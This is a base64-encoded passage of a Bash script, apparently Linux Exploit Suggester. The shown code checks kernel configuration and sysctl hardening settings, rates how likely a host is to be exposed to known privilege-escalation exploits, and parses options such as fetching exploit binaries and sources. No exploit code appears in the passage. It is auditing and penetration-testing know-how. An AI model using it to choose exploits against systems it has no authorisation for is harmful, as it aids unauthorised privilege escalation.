gIiRLQ09ORklHIiBdOyB0aGVuCiAgICAgICAgICAgIGlmICRLQ09ORklHIHwgZ3JlcCAtRSAtcWkgJElOOyB0aGVuCiAgICAgICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICAgICAgIyByZXF1aXJlZCBvcHRpb24gd2Fzbid0IGZvdW5kLCBleHBsb2l0IGlzIG5vdCBhcHBsaWNhYmxlCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgICAgICBmaQogICAgICAgICMgY29uZmlnIGlzIG5vdCBhdmFpbGFibGUKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAwOwogICAgICAgIGZpCiAgICBlbGlmIFtbICIkSU4iID1+IF5zeXNjdGw6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIHN5c2N0bENvbmRpdGlvbj0iJHtJTjo3fSIKCiAgICAgICAgIyBleHRyYWN0IHN5c2N0bCBlbnRyeSwgcmVsYXRpb24gc2lnbiBhbmQgcmVxdWlyZWQgdmFsdWUKICAgICAgICBpZiBlY2hvICRzeXNjdGxDb25kaXRpb24gfCBncmVwIC1xaSAiIT0iOyB0aGVuCiAgICAgICAgICAgIHNpZ249IiE9IgogICAgICAgIGVsaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIj09IjsgdGhlbgogICAgICAgICAgICBzaWduPSI9PSIKICAgICAgICBlbHNlCiAgICAgICAgICAgIGV4aXRXaXRoRXJyTXNnICJXcm9uZyBzeXNjdGwgY29uZGl0aW9uLiBUaGVyZSBpcyBzeW50YXggZXJyb3IgaW4geW91ciBmZWF0dXJlcyBEQi4gQWJvcnRpbmcuIgogICAgICAgIGZpCiAgICAgICAgdmFsPSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQyfScpCiAgICAgICAgZW50cnk9JChlY2hvICIkc3lzY3RsQ29uZGl0aW9uIiB8IGF3ayAtRiAiJHNpZ24iICd7cHJpbnQgJDF9JykKCiAgICAgICAgIyBnZXQgY3VycmVudCBzZXR0aW5nIG9mIHN5c2N0bCBlbnRyeQogICAgICAgIGN1clZhbD0kKC9zYmluL3N5c2N0bCAtYSAyPiAvZGV2L251bGwgfCBncmVwICIkZW50cnkiIHwgYXdrIC1GJz0nICd7cHJpbnQgJDJ9JykKCiAgICAgICAgIyBzcGVjaWFsIGNhc2UgZm9yIC0tY2hlY2tzZWMgbW9kZTogcmV0dXJuIDIgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgLWEgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMgoKICAgICAgICAjIGZvciBvdGhlciBtb2Rlczogc2tpcCBpZiB0aGVyZSBpcyBubyBzdWNoIHN3aXRjaCBpbiBzeXNjdGwKICAgICAgICBbIC16ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgY29tcGFyZSAmIHJldHVybiByZXN1bHQKICAgICAgICBjb21wYXJlVmFsdWVzICRjdXJWYWwgJHZhbCAkc2lnbiAmJiByZXR1cm4gMAoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXmNtZDouKiQgXV07IHRoZW4KCiAgICAgICAgIyBza2lwIGlmIGNoZWNrIGlzIG5vdCBhcHBsaWNhYmxlICgtayBvciAtLXVuYW1lIG9yIC1wIG1vZGVzKSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgY21kPSIke0lOOjR9IgogICAgICAgIGlmIGV2YWwgIiR7Y21kfSI7IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQogICAgZmkKCiAgICByZXR1cm4gMQp9CgpnZXRLZXJuZWxDb25maWcoKSB7CgogICAgaWYgWyAtZiAvcHJvYy9jb25maWcuZ3ogXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJ6Y2F0IC9wcm9jL2NvbmZpZy5neiIKICAgIGVsaWYgWyAtZiAvYm9vdC9jb25maWctYHVuYW1lIC1yYCBdIDsgdGhlbgogICAgICAgIEtDT05GSUc9ImNhdCAvYm9vdC9jb25maWctYHVuYW1lIC1yYCIKICAgIGVsaWYgWyAtZiAiJHtLQlVJTERfT1VUUFVUOi0vdXNyL3NyYy9saW51eH0iLy5jb25maWcgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgJHtLQlVJTERfT1VUUFVUOi0vdXNyL3NyYy9saW51eH0vLmNvbmZpZyIKICAgIGVsc2UKICAgICAgICBLQ09ORklHPSIiCiAgICBmaQp9CgpjaGVja3NlY01vZGUoKSB7CgogICAgTU9ERT0wCgogICAgIyBzdGFydCBhbmFseXNpcwpmb3IgRkVBVFVSRSBpbiAiJHtGRUFUVVJFU1tAXX0iOyBkbwoKICAgICMgY3JlYXRlIGFycmF5IGZyb20gY3VycmVudCBleHBsb2l0IGhlcmUgZG9jIGFuZCBmZXRjaCBuZWVkZWQgbGluZXMKICAgIGk9MAogICAgIyAoJy1yJyBpcyB1c2VkIHRvIG5vdCBpbnRlcnByZXQgYmFja3NsYXNoIHVzZWQgZm9yIGJhc2ggY29sb3JzKQogICAgd2hpbGUgcmVhZCAtciBsaW5lCiAgICBkbwogICAgICAgIGFycltpXT0iJGxpbmUiCiAgICAgICAgaT0kKChpICsgMSkpCiAgICBkb25lIDw8PCAiJEZFQVRVUkUiCgoJIyBtb2Rlczoga2VybmVsLWZlYXR1cmUgKDEpIHwgaHctZmVhdHVyZSAoMikgfCAzcmRwYXJ0eS1mZWF0dXJlICgzKSB8IGF0dGFjay1zdXJmYWNlICg0KQogICAgTkFNRT0iJHthcnJbMF19IgogICAgUFJFX05BTUU9IiR7TkFNRTowOjh9IgogICAgTkFNRT0iJHtOQU1FOjl9IgogICAgaWYgWyAiJHtQUkVfTkFNRX0iID0gInNlY3Rpb246IiBdOyB0aGVuCgkJIyBhZHZhbmNlIHRvIG5leHQgTU9ERQoJCU1PREU9JCgoJE1PREUgKyAxKSkKCiAgICAgICAgZWNobwogICAgICAgIGVjaG8gLWUgIiR7Ymxkd2h0fSR7TkFNRX0ke3R4dHJzdH0iCiAgICAgICAgZWNobwogICAgICAgIGNvbnRpbnVlCiAgICBmaQoKICAgIEFWQUlMQUJMRT0iJHthcnJbMV19IiAmJiBBVkFJTEFCTEU9IiR7QVZBSUxBQkxFOjExfSIKICAgIEVOQUJMRT0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImVuYWJsZWQ6ICIgfCBhd2sgLUYnZWQ6ICcgJ3twcmludCAkMn0nKQogICAgYW5hbHlzaXNfdXJsPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiYW5hbHlzaXMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCiAgICAjIHNwbGl0IGxpbmUgd2l0aCBhdmFpbGFiaWxpdHkgcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCBhdmFpbGFiaWxpdHkgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIElGUz0nLCcgcmVhZCAtciAtYSBhcnJheSA8PDwgIiRBVkFJTEFCTEUiCiAgICBBVkFJTEFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICBBVkFJTEFCTEVfUEFTU0VEX1JFUT0wCglDT05GSUc9IiIKICAgIGZvciBSRVEgaW4gIiR7YXJyYXlbQF19IjsgZG8KCgkJIyBmaW5kIENPTkZJR18gbmFtZSAoaWYgcHJlc2VudCkgZm9yIGN1cnJlbnQgZmVhdHVyZSAob25seSBmb3IgZGlzcGxheSBwdXJwb3NlcykKCQlpZiBbIC16ICIkQ09ORklHIiBdOyB0aGVuCgkJCWNvbmZpZz0kKGVjaG8gIiRSRVEiIHwgZ3JlcCAiQ09ORklHXyIpCgkJCVsgLW4gIiRjb25maWciIF0gJiYgQ09ORklHPSIoJChlY2hvICRSRVEgfCBjdXQgLWQnPScgLWYxKSkiCgkJZmkKCiAgICAgICAgaWYgKGNoZWNrUmVxdWlyZW1lbnQgIiRSRVEiKTsgdGhlbgogICAgICAgICAgICBBVkFJTEFCTEVfUEFTU0VEX1JFUT0kKCgkQVZBSUxBQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICBlbHNlCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZmkKICAgIGRvbmUKCiAgICAjIHNwbGl0IGxpbmUgd2l0aCBlbmFibGVtZW50IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgZW5hYmxlbWVudCByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgRU5BQkxFX1BBU1NFRF9SRVE9MAogICAgRU5BQkxFX1JFUVNfTlVNPTAKICAgIG5vU3lzY3RsPTAKICAgIGlmIFsgLW4gIiRFTkFCTEUiIF07IHRoZW4KICAgICAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkRU5BQkxFIgogICAgICAgIEVOQUJMRV9SRVFTX05VTT0keyNhcnJheVtAXX0KICAgICAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCiAgICAgICAgICAgIGNtZFN0ZG91dD0kKGNoZWNrUmVxdWlyZW1lbnQgIiRSRVEiKQogICAgICAgICAgICByZXRWYWw9JD8KICAgICAgICAgICAgaWYgWyAkcmV0VmFsIC1lcSAwIF07IHRoZW4KICAgICAgICAgICAgICAgIEVOQUJMRV9QQVNTRURfUkVRPSQoKCRFTkFCTEVfUEFTU0VEX1JFUSArIDEpKQogICAgICAgICAgICBlbGlmIFsgJHJldFZhbCAtZXEgMiBdOyB0aGVuCiAgICAgICAgICAgICMgc3BlY2lhbCBjYXNlOiBzeXNjdGwgZW50cnkgaXMgbm90IHByZXNlbnQgb24gZ2l2ZW4gc3lzdGVtOiBzaWduYWwgaXQgYXM6IE4vQQogICAgICAgICAgICAgICAgbm9TeXNjdGw9MQogICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZmkKICAgICAgICBkb25lCiAgICBmaQoKICAgIGZlYXR1cmU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJmZWF0dXJlOiAiIHwgY3V0IC1kJyAnIC1mIDItKQoKICAgIGlmIFsgLW4gIiRjbWRTdGRvdXQiIF07IHRoZW4KICAgICAgICBpZiBbICRjbWRTdGRvdXQgLWVxIDAgXTsgdGhlbgogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dHJlZH1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHN0YXRlPSJbICR7dHh0Z3JufVNldCB0byAkY21kU3Rkb3V0JHt0eHRyc3R9IF0iCgkJCWNtZFN0ZG91dD0iIgogICAgICAgIGZpCiAgICBlbHNlCgoJdW5rbm93bj0iWyAke3R4dGdyYXl9VW5rbm93biR7dHh0cnN0fSAgXSIKCgkjIGZvciAzcmQgcGFydHkgKDMpIG1vZGUgZGlzcGxheSAiTi9BIiBvciAiRW5hYmxlZCIKCWlmIFsgJE1PREUgLWVxIDMgXTsgdGhlbgogICAgICAgICAgICBlbmFibGVkPSJbICR7dHh0Z3JufUVuYWJsZWQke3R4dHJzdH0gICBdIgogICAgICAgICAgICBkaXNhYmxlZD0iWyAgICR7dHh0Z3JheX1OL0Eke3R4dHJzdH0gICAgXSIKCiAgICAgICAgIyBmb3IgYXR0YWNrLXN1cmZhY2UgKDQpIG1vZGUgZGlzcGxheSAiTG9ja2VkIiBvciAiRXhwb3NlZCIKICAgICAgICBlbGlmIFsgJE1PREUgLWVxIDQgXTsgdGhlbgogICAgICAgICAgIGVuYWJsZWQ9IlsgJHt0eHRyZWR9RXhwb3NlZCR7dHh0cnN0fSAgXSIKICAgICAgICAgICBkaXNhYmxlZD0iWyAke3R4dGdybn1Mb2NrZWQke3R4dHJzdH0gICBdIgoKCSMgb3RoZXIgbW9kZXMiICJEaXNhYmxlZCIgLyAiRW5hYmxlZCIKCWVsc2UKCQllbmFibGVkPSJbICR7dHh0Z3JufUVuYWJsZWQke3R4dHJzdH0gIF0iCgkJZGlzYWJsZWQ9IlsgJHt0eHRyZWR9RGlzYWJsZWQke3R4dHJzdH0gXSIKCWZpCgoJaWYgWyAteiAiJEtDT05GSUciIC1hICIkRU5BQkxFX1JFUVNfTlVNIiA9IDAgXTsgdGhlbgoJICAgIHN0YXRlPSR1bmtub3duCiAgICBlbGlmIFsgJEFWQUlMQUJMRV9QQVNTRURfUkVRIC1lcSAkQVZBSUxBQkxFX1JFUVNfTlVNIC1hICRFTkFCTEVfUEFTU0VEX1JFUSAtZXEgJEVOQUJMRV9SRVFTX05VTSBdOyB0aGVuCiAgICAgICAgc3RhdGU9JGVuYWJsZWQKICAgIGVsc2UKICAgICAgICBzdGF0ZT0kZGlzYWJsZWQKCWZpCgogICAgZmkKCiAgICBlY2hvIC1lICIgJHN0YXRlICRmZWF0dXJlICR7d2h0fSR7Q09ORklHfSR7dHh0cnN0fSIKICAgIFsgLW4gIiRhbmFseXNpc191cmwiIF0gJiYgZWNobyAtZSAiICAgICAgICAgICAgICAkYW5hbHlzaXNfdXJsIgogICAgZWNobwoKZG9uZQoKfQoKZGlzcGxheUV4cG9zdXJlKCkgewogICAgUkFOSz0kMQoKICAgIGlmIFsgIiRSQU5LIiAtZ2UgNiBdOyB0aGVuCiAgICAgICAgZWNobyAiaGlnaGx5IHByb2JhYmxlIgogICAgZWxpZiBbICIkUkFOSyIgLWdlIDMgXTsgdGhlbgogICAgICAgIGVjaG8gInByb2JhYmxlIgogICAgZWxzZQogICAgICAgIGVjaG8gImxlc3MgcHJvYmFibGUiCiAgICBmaQp9CgojIHBhcnNlIGNvbW1hbmQgbGluZSBwYXJhbWV0ZXJzCkFSR1M9JChnZXRvcHQgLS1vcHRpb25zICRTSE9SVE9QVFMgIC0tbG9uZ29wdGlvbnMgJExPTkdPUFRTIC0tICIkQCIpClsgJD8gIT0gMCBdICYmIGV4aXRXaXRoRXJyTXNnICJBYm9ydGluZy4iCgpldmFsIHNldCAtLSAiJEFSR1MiCgp3aGlsZSB0cnVlOyBkbwogICAgY2FzZSAiJDEiIGluCiAgICAgICAgLXV8LS11bmFtZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgVU5BTUVfQT0iJDEiCiAgICAgICAgICAgIG9wdF91bmFtZV9zdHJpbmc9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1WfC0tdmVyc2lvbikKICAgICAgICAgICAgdmVyc2lvbgogICAgICAgICAgICBleGl0IDAKICAgICAgICAgICAgOzsKICAgICAgICAtaHwtLWhlbHApCiAgICAgICAgICAgIHVzYWdlIAogICAgICAgICAgICBleGl0IDAKICAgICAgICAgICAgOzsKICAgICAgICAtZnwtLWZ1bGwpCiAgICAgICAgICAgIG9wdF9mdWxsPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtZ3wtLXNob3J0KQogICAgICAgICAgICBvcHRfc3VtbWFyeT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWJ8LS1mZXRjaC1iaW5hcmllcykKICAgICAgICAgICAgb3B0X2ZldGNoX2JpbnM9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1zfC0tZmV0Y2gtc291cmNlcykKICAgICAgICAgICAgb3B0X2ZldGNoX3NyY3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1rfC0ta2VybmVsKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBLRVJORUw9IiQxIgogICAgICAgICAgICBvcHRfa2VybmVsX3ZlcnNpb249dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1kfC0tc2hvdy1kb3MpCiAgICAgICAgICAgIG9wdF9zaG93X2Rvcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLXB8LS1wa2dsaXN0LWZpbGUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIFBLR0xJU1RfRklMRT0iJDEiCiAgICAgICAgICAgIG9wdF9wa2dsaXN0X2ZpbGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tY3ZlbGlzdC1maWxlKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBDVkVMSVNUX0ZJTEU9IiQxIgogICAgICAgICAgICBvcHRfY3ZlbGlzdF9maWxlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWNoZWNrc2VjKQogICAgICAgICAgICBvcHRfY2hlY2tzZWNfbW9kZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1rZXJuZWxzcGFjZS1vbmx5KQogICAgICAgICAgICBvcHRfa2VybmVsX29ubHk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tdXNlcnNwYWNlLW9ubHkpCiAgICAgICAgICAgIG9wdF91c2Vyc3BhY2Vfb25seT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgICAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1za2lwLXBrZy12ZXJzaW9ucykKICAgICAgICAgICAgb3B0X3NraXBfcGtnX3ZlcnNpb25zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAqKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBpZiBbICIkIyIgIT0gIjAiIF07IHRoZW4KICAgICAgICAgICAgICAgIGV4aXRXaXRoRXJyTXNnICJVbmtub3duIG9wdGlvbiAnJDEnLiBBYm9ydGluZy4iCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICBzaGlmdApkb25lCgojIGNoZWNrIEJhc2ggdmVyc2lvbiAoYXNzb2NpYXRpdmUgYXJyYXlzIG5lZWQgQmFzaCBpbiB2ZXJzaW9uIDQuMCspCmlmICgoQkFTSF9WRVJTSU5GT1swXSA8IDQpKTsgdGhlbgogICAgZXhpdFdpdGhFcnJNc2cgIlNjcmlwdCBuZWVkcyBCYXNoIGluIHZlcnNpb24gNC4wIG9yIG5ld2VyLiBBYm9ydGluZy4iCmZpCgojIGV4aXQgaWYgYm90aCAtLWtlcm5lbCBhbmQgLS11bmFtZSBhcmUgc2V0ClsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID0gInRydWUiIF0gJiYgWyAkb3B0X3VuYW1lX3N0cmluZyA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtdXwtLXVuYW1lIGFuZCAta3wtLWtlcm5lbCBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCgojIGV4aXQgaWYgYm90aCAtLWZ1bGwgYW5kIC0tc2hvcnQgYXJlIHNldApbICIkb3B0X2Z1bGwiID0gInRydWUiIF0gJiYgWyAkb3B0X3N1bW1hcnkgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWZ8LS1mdWxsIGFuZCAtZ3wtLXNob3J0IGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKCiMgLS1jdmVsaXN0LWZpbGUgbW9kZSBpcyBzdGFuZGFsb25lIG1vZGUgYW5kIGlzIG5vdCBhcHBsaWNhYmxlIHdoZW4gb25lIG9mIC1rIHwgLXUgfCAtcCB8IC0tY2hlY2tzZWMgc3dpdGNoZXMgYXJlIHNldAppZiBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgWyAhIC1lICIkQ1ZFTElTVF9GSUxFIiBdICYmIGV4aXRXaXRoRXJyTXNnICJQcm92aWRlZCBDVkUgbGlzdCBmaWxlIGRvZXMgbm90IGV4aXN0cy4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWt8LS1rZXJuZWwgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtdXwtLXVuYW1lIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXB8LS1wa2dsaXN0LWZpbGUgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKZmkKCiMgLS1jaGVja3NlYyBtb2RlIGlzIHN0YW5kYWxvbmUgbW9kZSBhbmQgaXMgbm90IGFwcGxpY2FibGUgd2hlbiBvbmUgb2YgLWsgfCAtdSB8IC1wIHwgLS1jdmVsaXN0LWZpbGUgc3dpdGNoZXMgYXJlIHNldAppZiBbICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF07IHRoZW4KICAgIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1rfC0ta2VybmVsIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtdXwtLXVuYW1lIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtcHwtLXBrZ2xpc3QtZmlsZSBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCmZpCgojIGV4dHJhY3Qga2VybmVsIHZlcnNpb24gYW5kIG90aGVyIE9TIGluZm8gbGlrZSBkaXN0cm8gbmFtZSwgZGlzdHJvIHZlcnNpb24sIGV0Yy4gMyBwb3NzaWJpbGl0aWVzIGhlcmU6CiMgY2FzZSAxOiAtLWtlcm5lbCBzZXQKaWYgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPT0gInRydWUiIF07IHRoZW4KICAgICMgVE9ETzogYWRkIGtlcm5lbCB2ZXJzaW9uIG51bWJlciB2YWxpZGF0aW9uCiAgICBbIC16ICIkS0VSTkVMIiBdICYmIGV4aXRXaXRoRXJyTXNnICJVbnJlY29nbml6ZWQga2VybmVsIHZlcnNpb24gZ2l2ZW4uIEFib3J0aW5nLiIKICAgIEFSQ0g9IiIKICAgIE9TPSIiCgogICAgIyBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyBvbiBjdXJyZW50IG1hY2hpbmUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKCiAgICAjIGRvIG5vdCBjb25zaWRlciBjdXJyZW50IE9TCiAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKIyBjYXNlIDI6IC0tdW5hbWUgc2V0CmVsaWYgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiBdOyB0aGVuCiAgICBbIC16ICIkVU5BTUVfQSIgXSAmJiBleGl0V2l0aEVyck1zZyAidW5hbWUgc3RyaW5nIGVtcHR5LiBBYm9ydGluZy4iCiAgICBwYXJzZVVuYW1lICIkVU5BTUVfQSIKCiAgICAjIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIG9uIGN1cnJlbnQgbWFjaGluZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQoKICAgICMgZG8gbm90IGNvbnNpZGVyIGN1cnJlbnQgT1MKICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgojIGNhc2UgMzogLS1jdmVsaXN0LWZpbGUgbW9kZQplbGlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIGdldEtlcm5lbENvbmZpZwoKIyBjYXNlIDQ6IC0tY2hlY2tzZWMgbW9kZQplbGlmIFsgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXTsgdGhlbgoKICAgICMgdGhpcyBzd2l0Y2ggaXMgbm90IGFwcGxpY2FibGUgaW4gdGhpcyBtb2RlCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz1mYWxzZQoKICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgZ2V0S2VybmVsQ29uZmlnCiAgICBbIC16ICIkS0NPTkZJRyIgXSAmJiBlY2hvICJXQVJOSU5HLiBLZXJuZWwgQ29uZmlnIG5vdCBmb3VuZCBvbiB0aGUgc3lzdGVtIHJlc3VsdHMgd29uJ3QgYmUgY29tcGxldGUuIgoKICAgICMgbGF1bmNoIGNoZWNrc2VjIG1vZGUKICAgIGNoZWNrc2VjTW9kZQoKICAgIGV4aXQgMAoKIyBjYXNlIDU6IG5vIC0tdW5hbWUgfCAtLWtlcm5lbCB8IC0tY3ZlbGlzdC1maWxlIHwgLS1jaGVja3NlYyBzZXQKZWxzZQoKICAgICMgLS1wa2dsaXN0LWZpbGUgTk9UIHByb3ZpZGVkOiB0YWtlIGFsbCBpbmZvIGZyb20gY3VycmVudCBtYWNoaW5lCiAgICAjIGNhc2UgZm9yIHZhbmlsbGEgZXhlY3V0aW9uOiAuL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPT0gImZhbHNlIiBdOyB0aGVuCiAgICAgICAgVU5BTUVfQT0kKHVuYW1lIC1hKQogICAgICAgIFsgLXogIiRVTkFNRV9BIiBdICYmIGV4aXRXaXRoRXJyTXNnICJ1bmFtZSBzdHJpbmcgZW1wdHkuIEFib3J0aW5nLiIKICAgICAgICBwYXJzZVVuYW1lICIkVU5BTUVfQSIKCiAgICAgICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBnZXRLZXJuZWxDb25maWcKCiAgICAgICAgIyBleHRyYWN0IGRpc3RyaWJ1dGlvbiB2ZXJzaW9uIGZyb20gL2V0Yy9vcy1yZWxlYXNlIE9SIC9ldGMvbHNiLXJlbGVhc2UKICAgICAgICBbIC1uICIkT1MiIC1hICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIERJU1RSTz0kKGdyZXAgLXMgLUUgJ15ESVNUUklCX1JFTEVBU0U9fF5WRVJTSU9OX0lEPScgL2V0Yy8qLXJlbGVhc2UgfCBjdXQgLWQnPScgLWYyIHwgaGVhZCAtMSB8IHRyIC1kICciJykKCiAgICAgICAgIyBleHRyYWN0IHBhY2thZ2UgbGlzdGluZyBmcm9tIGN1cnJlbnQgT1MKICAgICAgICBnZXRQa2dMaXN0ICIkT1MiICIiCgogICAgIyAtLXBrZ2xpc3QtZmlsZSBwcm92aWRlZDogb25seSBjb25zaWRlciB1c2Vyc3BhY2UgZXhwbG9pdHMgYWdhaW5zdCBwcm92aWRlZCBwYWNrYWdlIGxpc3RpbmcKICAgIGVsc2UKICAgICAgICBLRVJORUw9IiIKICAgICAgICAjVE9ETzogZXh0cmFjdCBtYWNoaW5lIGFyY2ggZnJvbSBwYWNrYWdlIGxpc3RpbmcKICAgICAgICBBUkNIPSIiCiAgICAgICAgdW5zZXQgRVhQTE9JVFMKICAgICAgICBkZWNsYXJlIC1BIEVYUExPSVRTCiAgICAgICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiAgICAgICAgIyBhZGRpdGlvbmFsIGNoZWNrcyBhcmUgbm90IGFwcGxpY2FibGUgZm9yIHRoaXMgbW9kZQogICAgICAgIG9wdF9za2lwX21vcmVfY2hlY2tz